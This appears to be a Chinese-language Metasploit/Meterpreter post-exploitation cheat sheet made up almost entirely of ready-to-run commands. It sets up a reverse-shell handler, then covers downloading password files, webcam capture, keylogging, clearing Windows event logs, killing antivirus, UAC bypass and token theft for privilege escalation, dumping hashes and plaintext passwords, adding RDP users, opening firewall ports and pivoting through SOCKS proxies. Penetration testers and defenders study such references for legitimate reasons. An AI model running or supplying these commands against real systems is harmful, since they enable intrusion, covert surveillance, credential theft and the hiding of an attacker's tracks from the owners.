msfconsole后渗透指令

连接后门

msf > use exploit/multi/handler
msf > set payload windows/meterpreter/reverse_tcp
msf > set LHOST 192.168.159.134
msf > set LPORT 6661
msf > exploit

基础命令

background # 让meterpreter处于后台模式
sessions -i index # 与会话进行交互,index表示第一个session
quit # 退出会话
shell # 获得控制台权限

文件操作命令

getwd 或者pwd # 查看当前工作目录  
ls
cd
cat c:\\lltest\\lltestpasswd.txt  # 查看文件内容
upload /tmp/hack.txt C:\\lltest  # 上传文件到目标机上
download c:\\lltest\\lltestpasswd.txt /tmp/ # 下载文件到本机上
edit c:\\1.txt #编辑或创建文件  没有的话,会新建文件
rm C:\\lltest\\hack.txt
mkdir lltest2  #只能在当前目录下创建文件夹
rmdir lltest2  #只能删除当前目录下文件夹
getlwd   或者 lpwd   #操作攻击者主机 查看当前目录
lcd /tmp   #操作攻击者主机 切换目录
search -f *secret*.doc  #全局搜索secret.doc这个文件

网络指令

ipconfig / ifconfig # 查看网络接口信息
Portfwd # 端口转发 本机监听端口 把目标机端口转到本机端口上
Rdesktop # 使用rdesktop来连接 -u 用户名 -p 密码
Route # 获取路由表信息

系统命令

ps # 查看当前活跃进程
migrate pid # 将Meterpreter会话移植到进程数位pid的进程中
execute -H -i -f cmd.exe # 创建新进程cmd.exe,-H不可见,-i交互
getpid # 获取当前进程的pid
kill pid # 杀死进程
getuid # 查看权限
sysinfo # 查看目标机系统信息,如机器名,操作系统等
shutdown # 关机

开关键盘/鼠标

uictl disable mouse  #禁用鼠标
uictl disable keyboard  #禁用键盘
uictl enable mouse  #开启鼠标

摄像头指令

webcam_list  #查看摄像头
webcam_snap   #通过摄像头拍照
webcam_stream   #通过摄像头开启视频

如果系统不存在摄像头会报错

执行文件

meterpreter > execute
meterpreter > execute -H -i -f cmd.exe # 创建新进程cmd.exe,-H不可见,-i交互cmd.exe的路径是跟我们的木马是在一个路径下的

进程迁移

当在使用kiwi来获取密码时,可能会因为系统架构问题会报错,所以还需要使用migrate来进程迁移

ps
migrate [pid]
getpid    # 获取当前进程的pid
ps   # 查看当前活跃进程
migrate <pid值>    #将Meterpreter会话移植到指定pid值进程中
kill <pid值>   #杀死进程

清除日志

clearev #清除windows中的应用程序日志、系统日志、安全日志,需要管理员权限

需要注意的是清除日志的话这边在安全和系统这两个地方还是会留着一条日志清除的日志

端口转发

msf中还自带一个端口转发工具

portfwd add -l 6666 -p 3389 -r 127.0.0.1 #将目标机的3389端口转发到本地6666端口

此时连接本地的6666端口就是连接目标机器的3389端口

添加路由

参数信息

meterpreter > run autoroute -h[!] Meterpreter scripts are deprecated. Try post/multi/manage/autoroute.
[!] Example: run post/multi/manage/autoroute OPTION=value [...]
[*] Usage:   run autoroute [-r] -s subnet -n netmask
[*] Examples:
[*]   run autoroute -s 10.1.1.0 -n 255.255.255.0  # Add a route to 10.10.10.1/255.255.255.0
[*]   run autoroute -s 10.10.10.1                 # Netmask defaults to 255.255.255.0
[*]   run autoroute -s 10.10.10.1/24              # CIDR notation is also okay
[*]   run autoroute -p                            # Print active routing table
[*]   run autoroute -d -s 10.10.10.1              # Deletes the 10.10.10.1/255.255.255.0 route
[*] Use the "route" and "ipconfig" Meterpreter commands to learn about available routes
[-] Deprecation warning: This script has been replaced by the post/multi/manage/autoroute module

示例:

run autoroute -s 192.168.52.0/24  #添加到目标环境网络
run autoroute –p  #查看添加的路由

这里添加的路由在msf中都是通用的,可以调用其他模块来对这个网段进行渗透,例如 端口扫描 存活扫描

run post/windows/gather/arp_scanner RHOSTS=192.168.159.0/24
run auxiliary/scanner/portscan/tcp RHOSTS=192.168.159.144 PORTS=3389

Scoks代理

上面添加的路由只能在msf中使用,如果我们需要利用我们自己的工具就需要来借助代理,msf中提供了一个模块来开启代理

use auxiliary/server/socks_proxy
set srvhost 127.0.0.1
set srvport 1080
# 可以切换版本 socks4a socks5
set VeRsION 4a
run

启动后,还需再去编辑 vim /etc/proxychains4.conf

vi /etc/proxychains4.conf #添加 socks4 127.0.0.1 1080

使用代理:

proxychains curl http://192.168.52.143

自动化信息收集模块

run post/windows/gather/checkvm #是否虚拟机
run post/linux/gather/checkvm #是否虚拟机
run post/windows/gather/forensics/enum_drives #查看分区
run post/windows/gather/enum_applications #获取安装软件信息
run post/windows/gather/dumplinks   #获取最近的文件操作
run post/windows/gather/enum_ie  #获取IE缓存
run post/windows/gather/enum_chrome   #获取Chrome缓存
run post/windows/gather/enum_patches  #补丁信息
run post/windows/gather/enum_domain  #查找域控

权限提升

getsystem

  • 工作原理类似于令牌窃取

bypassuac

use exploit/windows/local/bypassuac
use exploit/windows/local/bypassuac_injection
use windows/local/bypassuac_vbs
use windows/local/ask

如使用bypassuac.rb脚本

msf > use exploit/windows/local/bypassuac
msf > set SESSION 2
msf > run

内核漏洞提权

  • 自动化模块
use post/multi/recon/local_exploit_suggest
set session 12
run
  • 根据补丁信息
meterpreter > run post/windows/gather/enum_patches  #查看补丁信息
msf > use exploit/windows/local/ms13_053_schlamperei
msf > set SESSION 2
msf > exploit
  • 令牌窃取
use incognito      
help incognito  #查看帮助
list_tokens -u    #查看可用的token
impersonate_token 'NT AUTHORITY\SYSTEM'  #假冒SYSTEM token,或者用下面的
impersonate_token NT\ AUTHORITY\\SYSTEM #不加单引号 需使用\\
execute -f cmd.exe -i –t    # -t 使用假冒的token 执行
或者直接shell
rev2self   #返回原始token

远程桌面和截屏

enumdesktops  #查看可用的桌面
getdesktop    #获取当前meterpreter 关联的桌面
set_desktop   #设置meterpreter关联的桌面  -h查看帮助
screenshot  #截屏
use espia  #或者使用espia模块截屏  然后输入screengrab
run vnc  #使用vnc远程桌面连接,这方法有点问题,上传了exe但是启动不了

有些运维可能喜欢将一些文件放在桌面上

开启远程桌面

  • getgui
run getgui -e #开启远程桌面
run getgui -u lltest2 -p 123456   #添加用户
run getgui -f 6661 –e   #3389端口转发到6661

该模块最新的msf中已经没有了

  • enable_rdp
run post/windows/manage/enable_rdp  #开启远程桌面
run post/windows/manage/enable_rdp USERNAME=www2 PASSWORD=123456 #添加用户
run post/windows/manage/enable_rdp FORWARD=true LPORT=6662  #将3389端口转发到6662
  • 利用命令
# 查看RDP服务是否开启:1关闭,0开启 
REG QUERY "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections # 查看RDP服务的端口
REG QUERY "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v PortNumber

方法二

tasklist /svc | find "TermService" # 找到对应服务进程的PID
netstat -ano | find "844" # 找到进程对应的端口号

开启rdp

REG ADD "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 00000000 /f
REG ADD "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v PortNumber /t REG_DWORD /d 0x00000d3d /f

要想开启RDP,首先是获得了系统的管理员权限。

如果系统未配置过远程桌面服务,第一次开启时还需要添加防火墙规则允许3389端口

修改防火墙配置,允许3389端口的命令如下:

netsh advfirewall firewall add rule name="Remote Desktop" protocol=TCP dir=in localport=3389 action=allow

键盘记录

keyscan_start  #开始键盘记录
keyscan_dump   #导出记录数据
keyscan_stop #结束键盘记录

导出记录的话要在keyscan_stop命令之前,不然结束了就无法导出了

关闭杀软

meterpreter > run post/windows/manage/killav //这个脚本要小心使用,可能导致目标机器蓝屏死机

用户口令

  • 获取hash
hashdump
  • 明文密码
load kiwi
creds_call

扫描脚本

use auxiliary/scanner/http/dir_scanner
use auxiliary/scanner/http/jboss_vulnscan
use auxiliary/scanner/mssql/mssql_login
use auxiliary/scanner/mysql/mysql_version
use auxiliary/scanner/oracle/oracle_login